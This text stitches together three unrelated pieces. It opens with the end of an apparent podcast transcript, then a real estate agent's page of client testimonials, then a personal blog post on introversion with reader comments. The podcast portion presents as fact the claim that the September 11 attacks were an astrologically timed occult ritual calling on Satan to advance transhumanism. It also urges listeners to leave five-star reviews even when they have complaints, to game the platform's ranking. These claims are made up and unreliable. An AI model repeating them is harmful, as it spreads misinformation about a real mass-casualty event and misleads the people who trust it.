Sephora to find consciousness. And that’s that that’s what that was all about. That’s what all of this, this ritual astrologically timing it. The mantra the repeated mantra of a new normal, is all about balancing these opposing forces calling upon Satan. So in conclusion, talking about 911 you had these Twin Towers of opposing forces symbolically enlisted really taken down? Yeah, the three level three layers of the ritual yet the astrological alignment, the magical incantation and the literal burning down. In mankind, we witnessed the whole thing. We stood and watched in all as if we were watching a movie in New York City. As we all were initiated by the black monolith in the Millennium Hilton, by the way, but we all watched as the gateway to the mystical realm. The twin pillars were taken down and replaced with the One World Trade Center, single pillar, the middle pillar of consciousness, taking us through day off, which D unfortunate asserts represents knowledge or gnosis, the Gnostic wisdom. And along the way, I’m sure there were some folks getting rich, if you look at all that stuff, there’s a component to that, right. But you have to look, you have to understand that they look at the world as a place where they have to conduct their necessary evils to enlightened man. Like we’re just too stupid, we have to be directed and manipulated into understanding the true wisdom. They don’t care if it killed 3000 people, they have to do their great work to evolve the consciousness. And this middle pillar, this One World Trade Center tower represents that consciousness in the outer ones. The twin pillars, the Twin Towers, the twin pillars have got taken down and they were the opposing forces of positive and negative. That’s why one was called the North Tower. One was called the South Tower, they were opposite polarities. And that’s why the monolith Millennium building witnessed the whole thing. 2001 A Space Odyssey became 2001 a reality. Because it was all about the evolution of man Arthur C. Clarke wrote about it, Stanley Kubrick filmed about it. And you know, Michael Hoffman claimed the Arthur C. Clarke, the author of 2001 was a British intelligence asset, which will fit into all of this so nicely if it’s true, because that’s where a lot of our original deceptions and entertainment lie. Could an organization put on such a large scale operation? It seems hard to fathom. I believe it would be difficult for sure. But here’s what we don’t know how many how many of these attempts have failed. Maybe they’ve tried it many times. We just don’t know. Maybe they fell through. You look at the actual false flags like Operation Northwoods. They had plans for remote controlling and detonating planes back in the 60s. I don’t think they would have pitched that ideas. They couldn’t have pulled it off. So there you go. 911 conspiracy theories, complete. All the occult symbolism you could ever want more names that you can’t pronounce and people you don’t know with? teachings You don’t understand. It doesn’t matter though. They don’t care if you don’t understand. I don’t understand it. I’ve been reading this crap for 10 years. It’s also very confusing. But it’s not for me, it’s not for you. You think they’re going to tell you the truth in a book, publicly? No. Behind closed doors, the oral tradition of Kabbalah. The mystery teachings only for the initiates deemed worthy. And guess what you and I worthy. They’re creating a world that they picture to be the perfected Garden of Eden. It’s going to be transhumanism. It’s going to be the matrix the singularity, all wrapped up into one. And that’s where they’re heading. And 911 was the start of a massive change. In trying to make this happen, coordinating the events. I would argue that they know and you got to research more on transhumanism if you want to go deeper into this. They look at technology as the greatest thing ever, the knowledge, the gnosis given to us from Lucifer, so that man could evolve and break free from the oppressive God’s material planet. Why these nerds are talking about simulation theory, Elan musk and all these Silicon Valley billionaires invest in money into trying to figure out how to hack and break free from the matrix. They think we’re in the matrix. They want to create their own Can’t trust these nerves, they’re gonna kill us. Like I always say, thank you for taking this journey with me. It’s been four hours of 911 you’re probably sick of it. But hey, you know what it’s been 20 years, we got to wrap our minds around what happened and where they could be taking us. Thanks for listening, if you’d like to show leave a review, I will read them on October 31. In the privacy of my home, please leave five stars, if you want to help the show. If you got a one star opinion, don’t give it to me. You’re just hurting the show. If you got a bad thing to say, drop a five star saying I’ll read it. I can take it. But I need to keep fresh on the algorithm because they want to censor these kinds of ideas. And look, you know me, I’m trying to be the rational voice in the room here. So why remove me from the equation I think we want crazy conspiracy people to be in the forefront so that the masses don’t even consider it. And that’s not very helpful is it? So leave your review. If you want to take our relationship to the next level. I’ve got the three support systems. I harp on it all the time, link in the show notes I won’t bother anymore. You can check it out. There’s three support options, Patreon rockfon, Illuminati watch, calm, whichever one you like. I appreciate it. Until next time, you know what to do. Stay woke Transcribed by

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We thank God for Kathe Barge.” James Forney Home Seller 2022 "She’s a true professional and will do the work to get you top dollar." Bill Marcotte Home Seller 2021 "If we could give Kathe 10 stars we certainly would." Robbie Robinson Home Seller 2021 "Kathe did an amazing job selling our house." Sheridan Edmondson Home Seller & Home Buyer 2020 "...we will recommend her to anyone and everyone looking for a home. Especially for those who are relocating" Ali Zaren Home Buyer 2020 "Kathe exceeded our expectations throughout the entire process..." James Plante Home Seller 2020 "Kathe makes the whole process easy and streamlined." Home Seller & Home Buyer 2020 "We have now worked with Kathe on three real estate transactions during the past 20 years." Joesph Ahearn Home Seller 2020 "I highly recommend using her without reservations or concerns and would use her again and again..." Kelly Close Home Buyer 2020 "Kathe is exceptional in every way." Leslie Braksick Home Buyer 2020 "She's terrific!" Bill Acheson Home Seller & Home Buyer 2020 "Kathe was a true professional throughout the purchase process." Matt Lenhard Home Buyer 2020 "Great to work with and gets results." Robert Kocis Home Seller 2020 "This is the second time I have worked with Kathe purchasing a home and I couldn't ask for more." Byron Evans Home Seller & Home Buyer 2020 "We have referred Kathe to numerous people, they have been very happy with her as well." “Kathe Barge is the best realtor we have worked with! She gives honest and fair opinions, considering our goals and advocating for us. We trust her expertise in all things – real estate! We have referred Kathe to numerous people, they have been very happy with her as well.“ Allada Family Home Seller 2020 "She is highly knowledgeable about the real estate market in the region..." Bobby Kapur Home Buyer 2019 "Kathe has excellent experience and professionalism." Mark Garvey Home Seller 2019 "I can't thank Kathe enough!" David Stilwell Home Seller 2019 "Very pleased with level of knowledge, organization, and process." John Barnes Home Seller & Home Buyer 2019 "She is amazing, tenacious and VERY thorough." Jamie Hammond Home Buyer 2019 "She was extremely responsive..." Susan McCaffrey Home Seller 2019 "Kathe is the consummate professional." Jeff Moersch Home Seller 2019 "Have never sold a house so fast in my life." Craig Jarvie Home Seller 2019 "I would not hesitate for a moment to work with her again." Doug Alpern Home Seller & Home Buyer 2019 "Kathe knows the market..." Alexander Tomey Home Seller 2019 "She has superior insight into the Sewickley market..." "The overall process from ‘start through closing’ was incredibly well managed..." "We can't thank you enough for the excellent guidance and support..." Thomas & Nora Boyd – October 2018 "Kathe knows her market, gives solid advice and makes sure the transaction goes smoothly." “We have worked with Kathe for fifteen years and have always been impressed with her knowledge of the area, work ethic and professionalism. She sold our house before we even had a sign in the front yard. It was the best real estate experience we have had since we bought our first property in 1982! We have purchased two homes and sold one home in the Sewickley area with Kathe. She has done an outstanding job each time. Kathe knows her market, gives solid advice and makes sure the transaction goes smoothly. If there are kinks to be worked out, she helps find solutions. We enjoyed working with her!” James and MaryBeth Bonomo "...she treated us in the middle range with the same degree of professionalism and focus as any other client." Kirk Gibson – October 2018 "...even after the purchase is all done, she is just one text away from us when we need help." Leena Yusufzai – August 2018 "Kathe is the best!" “Kathe is the best! Totally knows her market, is responsive, creative and truly goes the extra mile for her clients. I have both bought and sold a home with Kathe and would never use another realtor in the Sewickley market.” Lisa Lisanti Home Seller 2018 "Truly, we couldn’t design a better realtor." We were very grateful to have Kathe as our realtor in the purchase of our Sewickley village home. We chose her because she seemed dedicated and knowledgeable – and is she ever! Her knowledge of the market, the area, home construction/remodeling, and other valuable insights is unparalleled. She was also patient, understanding, and honest as we navigated our decision. We relocated from across the country, so much of it was remote for us. We were able to trust that she was interested and motivated by our unique best interest throughout the process. Truly, we couldn’t design a better realtor. She is a smart, funny, good person who was a pleasure to work with and we’re sure we’ll use her when we’re ready to sell! B. Lelme – February 2018 "Wonderful to work with. She knows the business." “Wonderful to work with. She knows the business.” Jimmy Amato Home Seller 2018 "Excellent customer service, highly knowledgable, and a great negotiator." “We were moving to Sewickley from California as part of a relocation. We had a very short window to find and buy something and almost everything had to be done remotely. Kathe’s expertise and local knowledge made the process much easier. She was very responsive and easy to get in touch with. When my husband and brother came for a whirlwind house hunting trip of just a few hours (I was too pregnant to make the trip), Kathe made sure they saw all the options and understood the pros and cons of the available properties. In the end, we found the perfect house at a good price in a great location. Kathe helped us with every step along the way and even checked in after we closed. Excellent customer service, highly knowledgable, and a great negotiator-– I can’t recommend her services highly enough!” David Bloomberg Home Buyer 2018 "She is not only a pure professional but smart and personable as well." “I cannot say enough about Kathe Barge. She is not only a pure professional but smart and personable as well. We chose Kathe because of her incredible marketing abilities…..primarily thru newspaper and postcards. It was obvious to us, when enlisting Kathe, she would give us 110% of her efforts. Kathe made suggestions as to what changes to make to have our home be more marketable. It worked! Our home sold much faster than we ever anticipated. Thank you, Kathe!” Randall Carter Home Seller 2018 "...she makes you feel like you are her only and most special client." “Howard Hanna is lucky to have Kathe Barge. What a pleasure to be guided through our relocation process by someone so talented, honest and knowledgeable. The North Hills and Sewickley are her speciality and not only did she know each and every community inside and out, she has established relationships with other realtors from all companies throughout the region. We were lucky to get first dibs on listings about to come to market. Many of these listings sold in 1-3 days which we were lucky to preview. Even though Kathe has tons of listings and is in high demand she makes you feel like you are her only and most special client. We will happily refer friends moving to Pittsburgh directly to her and her team. Thanks again KATHE!!” Meredith and George Mestre Home Buyer 2017 "Kathy worked hard to get our house sold during a slump in our price range." “Kathy worked hard to get our house sold during a slump in our price range. She planned many open houses and offered advice on staging the house.” Carol and Bob Miloszewski Home Seller 2017 "Kathe did a great job getting us into a home we never expected to be able to purchase." “Kathe did a great job getting us into a home we never expected to be able to purchase.” Bridget & Jerry Clarke Home buyer 2017 "I like her determination and advice and her legal background is another nice to have." “Kathy has spent slot of time enthusiastically marking my house with a lot of energy. I like her determination and advice and her legal background is another nice to have. I would recommend Kathy to be your agent.” Cornelia Wendzicki Home Seller 2017 ""Knowledgeable, likeable, efficient..." “Knowledgeable, likeable, efficient, skillfully utilizes a wealth of marketing forums. Keeps us well informed of the sale process.” Alfred Doyle Home Seller 2017 "Her expertise, honesty and integrity are unsurpassed in the industry." When it comes to buying or selling a home in the Sewickley area, there is only one choice for a Realtor if you want the very best result: Kathe Barge! Kathe represented us as both sellers and buyers. Kathe was an impressive advocate every step of the way, reflecting her background as an attorney. Her expertise, honesty and integrity are unsurpassed in the industry. She was instrumental in helping us find cost effective solutions to maximize the dollars we were able to achieve in the sale of our home. Kathe understands exactly what product a seller needs to give the market in order to deliver the highest return on investment. She developed a customized and comprehensive marketing strategy that promoted the outcome we desired which was then achieved. Kathe always kept us informed and partnered with us in both finding the perfect home for our family and in finding the right buyer for our unique home. We always knew what to expect before it happened. If you are considering selling or buying a home, interview Kathe. You will be glad you did. AAE – November 2017 "We wanted to hire the best Realtor that we could find...we are so thankful we partnered with Kathe Barge." Selling a house is not a frequent occurrence Our relationsh Once we signed on the dotted line, Kathe did everything Overall, while selling a home can be stressful, John Sobecki – September 2017 "Her knowledge of the market, hard work, honesty, and..." Simply put, Kathe is the best. I have been involved with 4 real estate transactions, and working with Kathe was by far my best experience. Her knowledge of the market, hard work, honesty, and efforts to do her best are obvious from the minute you begin working with her. Kathe was able to help us find what we wanted, and made the transaction processes very smooth. She is able to help from so many different aspects by having a strong team that she is able to set up. Would work with Kathe again, as a seller or buyer. Ben P "She is knowledgeable and on top of the market." Kathe is excellent. She is knowledgeable and on top of the market. I would use her again if the need arose. Dean Datre "She is a true professional and the best in the business." “Kathe was extremely knowledgeable and on target with changes we should make and who would by our home. When we weren’t happy with the first offer the buyer made she worked with us on how to get our house sold. We highly recommend her. She is a true professional and the best in the business.” William Dyer Home Seller 2017 "She is our first call for everything real estate related." “We wouldn’t have gotten into the house that we did without her local knowledge” Dan Monahan – May 31, 2017 “We couldn’t have made a better choice!” Our home search was not simple. We weren’t exactly sure what we wanted when we started. We toured some homes numerous times before deciding whether to make an offer. We cancelled one purchase agreement after a scary inspection. Through it all, Kathe was unfailingly patient and incredibly helpful. She read us very well, sensing accurately when we wanted advice or input, even before we asked, and when we just needed a moment to think. She always returned emails, phone calls, and texts quickly, even if she was away on a long-scheduled vacation. When we dithered or got delayed, Kathe helped us stay focused on our goal. She helped us find better financing than I had found on my own. When the bank tried to delay our closing date, Kathe negotiated with them and got us the date we wanted. In fact, our biggest misstep occurred when we ignored her advice and made an offer on that house that ended up receiving a scary inspection report; Kathe saw that coming. Moreover, she is delightful to be with, which made the process less stressful and more enjoyable. Kathe has continued to be helpful and kind to us since we closed on our house. We needed to renovate a bedroom very quickly; Kathe found someone who did an excellent job. She has answered numerous miscellaneous questions I have had. She even sent us a holiday card with a recent picture of our house. Because she is exceedingly competent, caring, and congenial, I would recommend Kathe to anyone. And when we are ready to sell this house and buy another, we will definitely ask her to represent us. George Branch-Trevathan “Kathe was right there with us through it all.” Becki Gazda “She was always available to answer any questions that we had and address any issues that came up.” Jackie Anderson “Her background as a CPA and attorney made her a trusted and invaluable advisor.” Greg Ross – Home Buyer 2016 “She really made it easy for us.” Molly & Jeff Kessler – Home Buyer 2016 "We cannot recommend Kathe highly enough!" Liz Signet – Home Seller 2016 “It took a lot of stress off us to be able to rely on her expertise!” Her knowledge of the market is extensive and well-researched, and she has provided us with invaluable information to help guide us. We trusted her completely throughout the process. Being unfamiliar with the local market, we depended on Kathe on factors such as deciding on a reasonable asking price. It took a lot of stress off us to be able to rely on her expertise! The house we were most interested in was already under contract. However, given our particular set of circumstances, Kathe felt we should put in an offer anyway. We did, and our sellers decided to take our offer instead of going with the original buyers! (As I recall our offer was either still below or at asking price). A few issues came up during our house inspection, and again, Kathe guided us through the process with very little angst. Our issues were resolved with barely any effort on our end, other than being patient. In addition to being completely professional, Kathe has a very kind, warm demeanor. It was a pleasure working with her. And boy, does she stays on top of things– I swear the woman never sleeps! Jean Marquis – Home Buyer 2015 “She earned her commission in the negotiation process alone." No one knows more about the Sewickley market. If you want a local expert, she is the best. We were new to the area and needed information on everything from property taxes to what restaurants work best for large parties. I still text her months after the transaction asking more questions – and she answers every one. Luke & Amanda Glass – Home Buyer 2015 “Kathe has continued to help after our purchase.” Joe & Debra DeMeis – Home Buyer 2015 “We never felt pressured; she always had our best interests at heart” Brent & Brittney Eilis – Home Buyer 2015 “...her personal commitment to customer satisfaction made my home selling experience very satisfying” Donna Panazzi – Home Seller 2015 “Kathe guided us through every step of the process.” My wife and I made a decision to work with the best. We researched Realtors in the area. Two stood out from the pack. We interviewed each and chose to work with Kathe because, not only did she have an exceptional understanding of the marketplace, she was tech savvy. She presented strategies to make our property stand out to buyers on realtor.com, Trulia, and Zillow – the very tools that we were using to peruse the housing market. Kathe guided us through every step of the process. She helped us to prepare our home to attract buyers. She taught us what to expect in the marketplace and she handled negotiations masterfully. When we sold our home, we had less than a month to find a new home, negotiate a sale, secure a mortgage, and then actually move. Kathe connected us with competent professionals in every phase of the operation. She provided helpful suggestions at every twist and turn. What could have been – what should have been – a highly stressful event was, in fact, a process that was superbly well managed. How did we do? We have 50% more living space, 300% more storage space, and a three car garage as opposed to having no garage. Best of all, we reduced our mortgage by over $180,000. Every so often you will meet a person who has mastered every aspect of their profession and still manages to become your three year old’s best friend. That is Kathe Barge. Bill & Paula Acheson – Home Buyer & Home Seller 2015 “Kathe made our move ... far less stressful” Robert & Jacqui Weinberg – Home Buyer 2015 “Kathe was there handling every little detail” I would highly recommend Kathe and truly couldn’t have made the move without her help. Elliot & Beth Davis – Home Buyer 2015 "She provided honest and trustworthy recommendations” Dean Datre – Home Buyer 2015 “She is smart as a whip, knows the Pittsburgh market ... and listens to her clients” Lisa & Mark Witte – Home Buyer 2015 “I would use her again and would highly recommend her to anyone looking to buy or sell a home.” Aimee Vickers – Home Seller & Home Buyer 2015 (Repeat Client) “Within less than 24 hours of putting our house on the market, Kathe had a buyer for our house” Ryan & Krista Miller – Home Seller 2015, Home Buyer 2013 (Repeat Client) “I can’t say enough good things about Kathe” Dan & Rachel Morin – Home Buyers 2014 “Her attention to detail went above and beyond.” Karen Jones – Home Seller 2014 “She made things happen that we didn’t think were possible.” Sharon Castle – Home Seller & Home Buyer 2014 “Excellent negotiation skills and wonderful advice.” Aimee Vickers – Home Seller & Home Buyer 2014 “Kathe is communicative and will work hard to sell a property.” Judy Iwler – Home Seller 2014 “Kathe was head and shoulders above any other real estate agent” Maggie Setler – Home Buyer 2013 “Kathe’s knowledge related to the contract aspect of the process was impressive” Kelly Pfenninger – Home Seller 2013 “Her knowledge of the Sewickley market is extraordinary” Roxana Boglio Branigan – Home Buyer 2013 “...the best and most professional and hardest working real estate agent...” Suku Powers – Home Seller 2013 “She is a true advocate for the buyer.” Jamie Rogers – Home Buyer 2013 “Kathe has an incredible eye for detail” LeAnn Kowalyk – Home Buyer 2012 & Home Seller 2013 “...provided expert insight and guidance on the entire relocation and negotiation process...” Ryan Miller – Home Buyer 2013 “She was very conscientious about listening to our needs...” When we relocated to Pittsburgh from San Francisco in early 2002, we came upon Kathe somewhat by chance. She was the listing agent for a house in a neighborhood that we had targeted to buy a home – the village of Sewickley. I was first impressed with Kathe by the detail and thoroughness of her listing. The house was available on the internet, with multiple pictures, a virtual tour, and a very detailed and well-written description of the house and property. Kathe writes the most eloquent house and property descriptions that I have ever seen – anywhere. If we were to ever move again, I wouldn’t want anyone but Kathe to list and market my home. However, I was even more impressed with Kathe as a buyers’ agent. Kathe was extremely knowledgeable about the local housing market, schools, and property values. She was very conscientious about listening to our needs and showing us only the properties that met our requirements – saving valuable time and energy. She worked around our busy schedule, and was available whenever we needed her. But I was most impressed with Kathe by her ethical standards and personal commitment to helping us make a good buying decision. On more than one occasion, Kathe actually talked us out of buying a home – due to technical concerns, or because the sellers’ price did not represent a fair value for the home. Kathe wasn’t interested in just selling us any old house – she wanted to find us a home that we would truly be happy in, and for us to pay a fair price for it. I have since recommended Kathe to both friends and colleagues for their real estate needs. I will continue to do so, without hesitation, in the future. Kathe is an outstanding real estate agent, who can satisfy even the most demanding of clients. Sincerely, Robert K. Julian – Home Buyer (& Subsequent Home Seller) “She also is a great negotiator” Jay Odell – Home Buyer (& Subsequent Home Seller) “…we were thrown curve-balls and change-ups ... and Kathe was unflustered” Prior to dealing with Kathe, I dealt with Real Estate Agents as a necessity only. I now have a tremendous respect and gratitude for what a Professional Agent can do and I highly recommend Kathe to anyone interested in a smooth transaction and a lifelong resource for any Real Estate or community needs. Thank you Kathe, more than you know. Fawn Chang – Home Buyer “Kathe handled it all.” For our family, the sale of our home came at a time when so many other changes were occurring that it was hard to devote the time necessary to do everything right. That is when Kathe’s real value shone. Her knowledge of the market and her professionalism became apparent very early in the process. But it was the thoroughness and thoughtfulness with which she went about every big and small task that lay on the long road from preparing for sale, to marketing, to contract, to closing that leads to her receiving our highest recommendation. When we couldn’t get any contractor for three weeks, she had one there within one. When it came time to decide on an offer price, she didn’t present just marked comparables, she prepared a marketing plan, analyzing not just the sell side of the market, but profiling potential buyers so that we could best position our home. By the time the closing occurred, we were comfortable enough to not even bother showing up. Kathe handled it all. Jon and Chris Anderson – Home Seller “She was always a step ahead of everyone else.” Search. Kathe was tireless and patient, as she showed us (and our two teenagers) dozens of houses. She quickly learned that we liked, and selected a variety of houses that met our needs. No one knows the Quaker Valley area better than Kathe. She recognized that weren’t just buying a house; we were reestablishing our family in a new community. Offer. This was actually the most enjoyable part of the whole process. Kathe knows the market. She approached the negotiation process strategically, and evaluated possible scenarios. It was fun to watch her in action. She was always a step ahead of everyone else. When the negotiations were over and our offer accepted, we knew we were making a good investment. Closing. Kathe made sure all “the bases were covered” so that the closing went smoothly. Her oversight and follow-through were impeccable. She told us exactly what needed to be done, when it needed to be done, and who could do it. There were no last-minute surprises. She is definitely the person you “want in your corner” to look out for you interests. Working with Kathe was a delightful experience. Our only regret is that we had only one house to buy. If we ever move again, our only call will be to Kathe. Sincerely, Ken and Sally Paillé – Home Buyer (& Subsequent Home Seller) “...she brought us an offer in less than 48 hours.” As we discussed the initial offer and counter offer her calm demeanor and confidence quieted our nerves and allowed us to view the process rationally and without excess emotion. Her breadth of knowledge regarding the legal and practical aspects of a real estate sale allowed us to work with the buyers’ offer. We have now settled into our new home, though our closing here did have to be postponed three days (how we wish that you could have handled this side of our move too). We hope that your career is going wonderfully. It should, you are great. We highly recommend you to anyone buying or selling in the Sewickley area. Your intimate knowledge of the community, the available properties, and the current economic conditions make you eminently qualified to handle any transactions from the most simple to the most complex. Sincerely, Elizabeth and Kevin Daley – Home Seller “...the most important single factor in making it such an easy transition was having such a fantastic real estate agent...” Kathe did a fantastic job helping us thoroughly research neighborhoods, school systems, and specific properties in the weeks prior to our visits to Pittsburgh. That homework and multiple phone calls with Kathe really prepared us for our initial house-hunting trips. Because of scheduling problems, we each had to take separate house hunting trips, and Kathe did a fantastic job in helping each of us get the most out of our visits. That fantastic service continued through our negotiations, in which Kathes advice proved afterward to have been spot-on, as well as through the closing and getting settled once we took possession. We didnt even attend the closing in person, as Kathe was able to handle everything for us. We couldnt be happier with the smoothness of the move, our wonderful house, and our fantastic neighborhood and neighboring families, and for that we owe Kathe a huge vote of thanks. Without any reservations, we strongly recommend Kathe to anyone looking for a top notch agent in the Pittsburgh area. Andy and Cindy Forssell – Home Buyer (& Subsequent Home Seller) “She was also very proactive during a difficult period where we needed to tap her legal expertise and advice.” Kathe has a unique balance of soft skills that helped us navigate a variety of listings as well as legal knowledge and resources that we also leveraged during our process. She quickly interpreted our feedback and moved us toward options that were aligned with our desires. She was also very proactive during a difficult period where we needed to tap her legal expertise and advice. That effort provided us with a sense of confidence and comfort while we worked through those issues. Kathe has an unbelievable ability to visualize the optimal use of space. Much of this must come from her efforts to completely remodel her own home. We quickly learned that we could defer to Kathe’s opinion on layout and future home modifications because once she walked us through her ideas, they were spot on. We often now say that we will never make any major home modifications while living in Pittsburgh without consulting Kathe. In sum, we could not have asked for a better advocate for our familys housing needs. Jason, Christine & Dylan Reed – Home Buyer 2012 “We found a goldmine in Kathe” Kathe’s understanding of service far surpasses any other human’s definition of that word. We truly believe that Kathe treated our search for a home as though it was her own. From taking us on a tour of the area, to answering our calls and emails promptly at any time of the day or night, Kathe helped us to develop a sincere trust in her as our agent. We had a unique set of expectations for our future home and Kathe helped us to navigate the listings. She assisted us through the devastating discovery of mold in a beautiful old home that we were planning to purchase, and ultimately, she picked a house to show us when time for our relocation was running short that has now become our new home. While we were not first time home buyers, we were buying for the first time in the Pittsburgh market and needed a LOT of guidance and information. We found a goldmine in Kathe. Every question we asked she either knew the answer to or was able to direct us to the appropriate resource. Kathe never rushed us and she listened so well to what we were saying as well as what we THOUGHT we were saying! Of course Kathe always worked professionally and tirelessly on our behalf, that goes without saying. She is a woman who dots her “i”s and crosses her “t”s, someone a client can always have confidence in and feel secure with her working on their behalf. We feel beyond blessed to have had such an amazing Realtor to make our home finding and buying experience successful. We will highly recommend Kathe to anyone we know in need of an agent, and when the time comes to move, we hope she will be available to work with us again! Kelly & Mike Ross & Family – Home Buyer 2011 “[She] stayed with us through the ups and downs...” Very Sincerely, Gayle York – Home Seller “... calm, logical advice ... knowledge of all the requirements, and ...[able] to firmly negotiate on our behalf.” Tom and Becky Musial – Home Buyer QUICK PROPERTY SEARCH Associate Broker HOWARD HANNA REAL ESTATE SERVICES 401 Broad Street Sewickley, PA 15143 Cell: 412-779-6060 Office: 412-741-2200 x238 [email protected]

“All of humanity’s problems stem from man’s inability to sit quietly in a room alone.” – Blaise Pascal I was contemplating the complexities of being an introvert or what feels like introvertedness when I thought about the times I had tuned out. On my 21st birthday I was dragged out of my comfort zone to sit in a bar in Omaha Nebraska with a bunch of strangers. The reason I was in Omaha was my friend Sara asked me if I wanted to accompany her to go visit her boyfriend, and since I had never been to Nebraska, I said, yes, why not? During the drive I learned that Nebraska is one flat state. Of course, we were coming from Colorado so the comparison seems terribly unfair. I sat at the end of a long table with my friend’s friends awkwardly while they tried to rouse me into going bar hopping, drinking and revelry. They were nice, but I hadn’t wanted to go out and I wasn’t in the mood. I suppose I missed an opportunity to make new friends and have an adventure when I asked Sara to return me to the house. Under the covers of a super soft bed, I opened up my latest stash of X-Men comic books and got lost in reading. Another opportunity I missed was when I was 16 and visiting family in Thailand. My mom woke us up early and said that this was a special day; someone was getting married in the village. I didn’t want to go. We fought. It was a fine moment in stubbornness, and in the end, I won. I stayed in the hotel room, read, and then got bored waiting for my mom and brother to return. I regretted not going, but looking back I probably needed time to be alone after constantly being with them. According to Bustle, a website for women by women: Though many people confuse “introversion” with being shy and “extroversion” with being friendly or popular, the terms actually refer to your relationship with social interaction. Extroverts find social interaction emotionally nourishing and “recharging,” while introverts find it taxing and often have to “recharge” after hanging out with friends or going to parties. Apparently there are four types of introversion: social, thinking, anxious, and restrained. A successful day for me is if I don’t leave the house. That might sound crazy, but I’m pretty low-maintenance. I love a full fridge, working electricity + Internet, and hours to read and write (and spending time with my BF and buffalo, of course). However, I don’t think that being an introvert is some great thing necessarily. Sometimes I feel like it’s a curse: needing space, being touchy and hyper-sensitive. Other times, I simply drink in the silence and solitude, and luxuriate in living my own universe. I can’t say that I have that ‘fear of missing out’, but I do admire extroverted personalities and their endless seemingly inexhaustible energy. They are out there raising their glasses of wine celebrating life, dancing into the early light. I knew an extrovert who gave so much until her life was taken by cancer. She was incredibly positive, too. And while I know that I have this ‘hide in my cave’ tendency, I’m also aware of how much I enjoy making people laugh. I love teasing my friends, and listening to stories. I was in high school and college theatre. I’ve thrown a surprise party for my bestie and a dress up party at my house. (Both were pretty kickin’ if I may say so.) I used to participate in Chiang Mai’s Irish Pub’s quiz night even though I had nothing to offer my team, but snarky remarks. I can dance, as in, scare you with my chipmunk impersonation and I’m fearless about walking up to strangers and talking to them. I’m a complicated woman. Nevertheless, this conversation plays out regularly in our apt: “Ugh. I don’t want to go out!” “You always complain about having to go out with your friends and then you have a great time!” “I know, but that’s not the point!” The Atlantic put out an article on how post-Millennials are experiencing consequences of always being on their smart phones, for example, depression, lack of social skills, and what appears to be introversion. I think before introversion became hip, it was seen as something negative and to be avoided, so I feel like when we talk about being introverted we should mention what kind. The good or the bad? Because I think the kind The Atlantic was discussing is the latter. For me, part of being introverted is making space to self-reflect (the good kind). When I’m alone, I realize the thought-patterns I create. I recognize that I’m thinking of work when I’m getting up in the morning. Or that I’m reflecting on the latest episode of Game of Thrones. Or that I’m having a conversation with an imaginary foe or friend about politics. When I’m at work, I don’t know if I’m aware of my thoughts as clearly. There’s too much going on around me. When I’m teaching, I’m much more likely to be in the moment, and that simply comes from years of training. You really can’t daydream too much in the classroom. It’s important to be a facilitator and available to your students. It’s important that I have time to get back into orbit, to center myself. When I’ve been traveling too much or pushing myself with too many social obligations, I start to feel like life is out of control. I want to scream. My skin feels itchy and my tolerance is ready to burst in a very messy and regrettable way. Hannah Arendt reminds us, if we lose our capacity for solitude, our ability to be alone with ourselves, then we lose our very ability to think. We risk getting caught up in the crowd. We risk being “swept away by what everybody else does and believes in” — no longer able to distinguish “right from wrong, beautiful from ugly.” I’ve always felt like it was necessary to be alone after a long-term relationship breakup, to not rebound, but to remain in the company of you in order to contemplate what happened and, well, like yourself again, even if you were the one who ended the relationship. It seems healthier despite the discomfort we might feel from the separation. It’s natural that we want things to be easy. We like easy answers. We’ve certainly gotten used to quick answers. But it’s like we move faster than ourselves in order to escape being alone with our thoughts. We plug in, but I wonder how much we’re aware of what’s going on internally when we auto-share, like, scroll, blink and scan. However we do it, whether we pray, meditate or walk quietly through the neighborhood, I feel we have to take the time to stop downloading what the world wants us to hear, and learn to listen to our heart beat instead…because that’s when the sanity enters, and the magic begins. What about you? Do you like to be alone? How do you find the time? What to you usually do? 52 replies on “Seeking solitude and sanity in everyday life” I love being alone – listening to music and catching up on films I’ve recorded. But i also like being with my wife watching films (alas not music – for some reason punk/new wave never hit Thailand and she doesn’t get the Undertones, Clash and most importantly The Jam). So yes, everyone should have time alone/ time out/ just time on their own. But also make time for the people you love and care for. Too much time on your own can make you lonely. Steve ps: Lani you always brighten up my day and inspire me – keep it up – i love reading about your life and travels. Now LikeLiked by 2 people That should have been – now back to my tax return – pressed wrong key 😦 LikeLiked by 1 person 555 – done it myself enough times! Thank you, Steve. I’d rather brighten than darken anyone’s day, and by saying that you’ve brightened mine! Yes. Music.It’s funny, we were just talking about that last night, as in, I can’t always listen to music when I write. I have to do one or the other 🙂 Punk isn’t for everyone. Although I think a small group of younger Thais have found it. 😀 It is a balancing act – making time for others and yourself. There are times in which I definitely have to pull myself out of ‘alone time’ and reach out. There is just too much literature that talks about the imporantance of community, too. I really like that definition of introversion you shared – that it’s not about a shy personality, but more like how we interact with others and the world. I’m an introvert, have always been and probably will always will be. Going to a party and coming back halfway like what you did is so not me – whenever someone proposes a social situation with more than a few people, my response immediately will be no. Just no. This also goes for after-work drinks. No for me. Alone time is very important for me. I can go a whole month without catching up with any of my friends in real life over a meal or drink or a day out. Can even do it a couple of months, which I’ve experienced. There’s a certain power I feel when it comes to being on my own. Not only do I feel free to think what I want to think, my thoughts flow more freely and cohesively, and no one to tell me off or let alone comment on what I’m doing with my life. ‘It’s natural that we want things to be easy.’ So true. Being alone, I think that teaches you to fend for yourself in more ways than one. On my own, I’ve learnt how to change a lightbulb on my own, explore places unknown on my own two feet, you get the picture. Give me a weekend on my own and I’d take a walk around the city, window shop without making eye contact and then getting out of there the moment I start to feel overstimulated, go back home and tidy my house. LikeLiked by 2 people Well, if you ever feel like stretching yourself, moving out of your comfort zone, I’d say yes to drinks and yes to a party sometime.I remember when I was reading something about challenging yourself to be alone, as in, go to the movies alone, eat out alone and eating out alone (this was in high school) seemed really scary and a big deal, so I brought a book and went to a fast food joint to try it. Now, it seems funny that – that was ever a big deal! But that’s me. I think sometimes you have to do what scares you.:P Being alone has taught me to be more independent. Good point. It’s nice to feel empowered and capable. I used to think it was weird that folks needed a friend to go to something, like errands, but sometimes having a friend along can make it more enjoyable. I appreciate both sides. LikeLiked by 1 person I’ve previously tried being social in recent times, going for drinks, playing games with people I don’t know so well, going to see an exhibition as part of a group…all the time I just wanted to get out of there lol. It’s like I get scared even more and I have decided to avoid these things so as not to hype up my anxiety 🙂 LikeLiked by 1 person Oh, you two are my most fave introverts that I’ve met online 😉 LikeLiked by 2 people 😀 I am an introvert and although I have mixed with people more than i have done, I do have to have my own time. If i don’t, I burn out. (Something I have mentioned on my blog.) I don’t feel i miss out whether on my own at home or travelling on my own. I love it. I love the peace and quiet too. LikeLiked by 2 people ME, 